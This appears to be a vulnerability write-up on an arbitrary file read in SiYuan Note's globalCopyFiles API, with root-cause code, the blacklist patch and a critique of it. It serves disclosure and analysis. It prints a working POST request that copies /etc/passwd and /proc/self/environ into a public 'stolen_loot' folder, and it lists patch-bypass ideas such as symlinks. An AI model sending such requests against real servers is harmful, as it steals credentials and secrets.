Jan 21, 2026·6 min read·39 visits
SiYuan Note's API endpoint for copying files failed to validate source paths. An attacker could request the server to copy `/etc/passwd` or `C:\Windows\win.ini` into a public asset directory, effectively turning a file management feature into a full system read primitive. The fix involves a blacklist, which... well, we'll get to that.
A critical logic flaw in SiYuan Note's file handling allows authenticated users to read arbitrary files from the underlying server filesystem. By abusing the 'globalCopyFiles' API, attackers can pull system secrets like SSH keys and password hashes directly into their workspace.
Personal Knowledge Management (PKM) systems like SiYuan are designed to be the 'second brain' for their users. They store your notes, your diagrams, and your deepest secrets. But in CVE-2026-23851, we find that SiYuan got a little too greedy. It didn't just want to store your secrets; it decided it was perfectly entitled to the server's secrets as well.
The vulnerability lies in a seemingly mundane feature: file management. Specifically, the ability to copy files into your workspace. In a local desktop app, this is harmless convenience. But SiYuan is often deployed as a self-hosted web service (Docker, etc.). When you blur the line between 'desktop app logic' and 'web server security', you usually end up with a disaster. In this case, that disaster is a high-severity Arbitrary File Read.
This isn't a complex memory corruption bug where we have to massage the heap. This is a logic flaw pure and simple. It's the digital equivalent of a bank teller who, when asked to transfer money from 'The Vault' to 'My Pocket', checks if the vault exists, nods, and hands you the cash without asking if you actually own the vault.
The root cause resides in the /api/file/globalCopyFiles endpoint. This API is intended to let users organize their assets—perhaps moving an image from a temporary folder into their main notes directory. The request body takes a list of source paths (srcs) and a destination directory.
Here is the logic failure: The application validated that the file existed (using filelock.IsExist), but it never validated where that file was located. It assumed that if a user provided a path, it must be a valid asset within the application's scope. There was no 'jail' or chroot logic enforcing that the source path started with the workspace directory.
Because SiYuan runs with the permissions of the user starting the process (often root in poorly configured Docker containers, or a standard user on desktops), it has read access to the entire OS filesystem. When the application receives a command to copy /etc/shadow, it obediently checks "Does /etc/shadow exist?" (Yes), and then proceeds to copy it to the user's web-accessible asset folder. From there, downloading the stolen file is trivial.
Let's look at the crime scene in kernel/api/file.go. The vulnerable code was startlingly trusting. It iterates through the user-provided list of paths and processes them without sanitization.
// The 'Before' Code
func globalCopyFiles(c *gin.Context) {
// ... argument parsing ...
for _, src := range srcs {
// The only check: Does the file exist?
if !filelock.IsExist(src) {
// handle error
}
// PROCEED TO COPY
// No check if 'src' is inside the workspace!
}
}The developers patched this in commits b2274ba and f8f4b51. Instead of implementing a strict whitelist (e.g., "Source must start with /opt/siyuan/workspace"), they opted for a blacklist approach. They introduced a utility util.IsSensitivePath.
// The 'After' Code
for i, src := range srcs {
absSrc, _ := filepath.Abs(src)
// The new security gate
if util.IsSensitivePath(absSrc) {
// Log error: "refuse to copy sensitive file"
return
}
// Proceed...
}And what does IsSensitivePath do? It checks the path against a hardcoded list of "naughty" strings: /etc/passwd, /root, .ssh, .env, etc. As any security researcher knows, blacklists are like playing Whac-A-Mole with a hydra.
Exploiting this is trivially easy once you have authentication. The attack vector is a standard HTTP POST request. You don't need special tools; curl or Burp Suite is enough.
/etc/passwd or /root/.ssh/id_rsa. On Windows, C:\Windows\win.ini.POST /api/file/globalCopyFiles HTTP/1.1
Host: vulnerable-siyuan.local
Content-Type: application/json
Cookie: session=...
{
"srcs": ["/etc/passwd", "/proc/self/environ"],
"destDir": "/public/assets/stolen_loot"
}The server responds with 200 OK. The file /etc/passwd is now sitting inside your SiYuan notebook assets. You simply browse to /assets/stolen_loot/passwd in your browser to download it. If you grab /proc/self/environ, you might find AWS keys, database credentials, or API secrets passed to the container.
> [!NOTE] > Researcher's View: The scariest part of this exploit is its reliability. There are no race conditions or memory offsets. It works 100% of the time on vulnerable versions.
The official fix in version 3.5.4 is to upgrade. The developers added the IsSensitivePath check. If you are running an older version, you are exposed.
/etc/shadow at the OS level, the application vulnerability matters less.I have to be critical of the patch method here. Blacklisting is historically fragile. The current patch blocks specific extensions (.pem, .key, .gpg) and specific directories (/etc, /root).
Re-exploitation Potential:
mysymlink -> /etc/passwd inside the workspace and ask to copy that, does it block it?/var/log? What about /home/user/.bash_history? If it's not on the blacklist, it's fair game./proc filesystem is a treasure trove of information that is hard to fully blacklist.The robust fix would have been to enforce a root directory (Chroot/Jail) and reject any path that resolves outside of the defined workspace. Until then, we trust the blacklist.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
SiYuan siyuan-note | < 3.5.4 | 3.5.4 |
| Attribute | Detail |
|---|---|
| CWE | CWE-22 (Path Traversal) |
| CVSS v4.0 | 8.3 (High) |
| Attack Vector | Network (Authenticated) |
| Impact | High (Confidentiality) |
| Patch Status | Fixed in v3.5.4 (Blacklist implementation) |
| EPSS Score | 0.04% (Low immediate mass-exploit risk) |
The application does not properly validate input paths, allowing access to files outside the restricted directory.
An integer truncation vulnerability (CWE-197) exists in SQLite before version 3.50.2 during the processing of aggregate queries with more than 32,767 distinct column references. This causes an internal 32-bit counter to truncate to a signed 16-bit integer, producing negative values that cause out-of-bounds heap operations in release builds.
An integer overflow vulnerability in the Windows kernel-mode HTTP driver (HTTP.sys) allows an unauthenticated remote attacker to execute arbitrary code with kernel privileges or cause a Denial of Service via a specially crafted sequence of HTTP request headers.
A memory corruption vulnerability exists in the FTS5 (Full-Text Search 5) extension of SQLite prior to version 3.53.2. An attacker can construct a malicious database file containing corrupt FTS5 page data. Querying this database triggers out-of-bounds reads and heap-based buffer overflows, potentially causing a crash or arbitrary code execution.
A mass assignment vulnerability (CWE-915) in n8n's self-service settings API endpoint (PATCH /me/settings) allows authenticated Single Sign-On (SSO) users to disable SSO enforcement for their accounts by injecting administrative parameters. This bypasses organizational identity provider controls and multi-factor authentication (MFA).
CVE-2026-55699 (also identified as GHSA-4gxm-v5v7-fqc4) is a critical path traversal and arbitrary directory deletion vulnerability in the pnpm package manager. The issue exists because the manifest validation process fails to prevent relative path segments within the package 'bin' keys. When a malicious package containing structured path traversal markers is globally installed and later manipulated, pnpm resolves the target paths through path.join() and passes the resolved paths to a recursive deletion function, resulting in arbitrary directory removal.
A path traversal vulnerability in pnpm stage download allows malicious registries or compromised package manifests to overwrite arbitrary files on the victim's filesystem via unvalidated package name and version fields.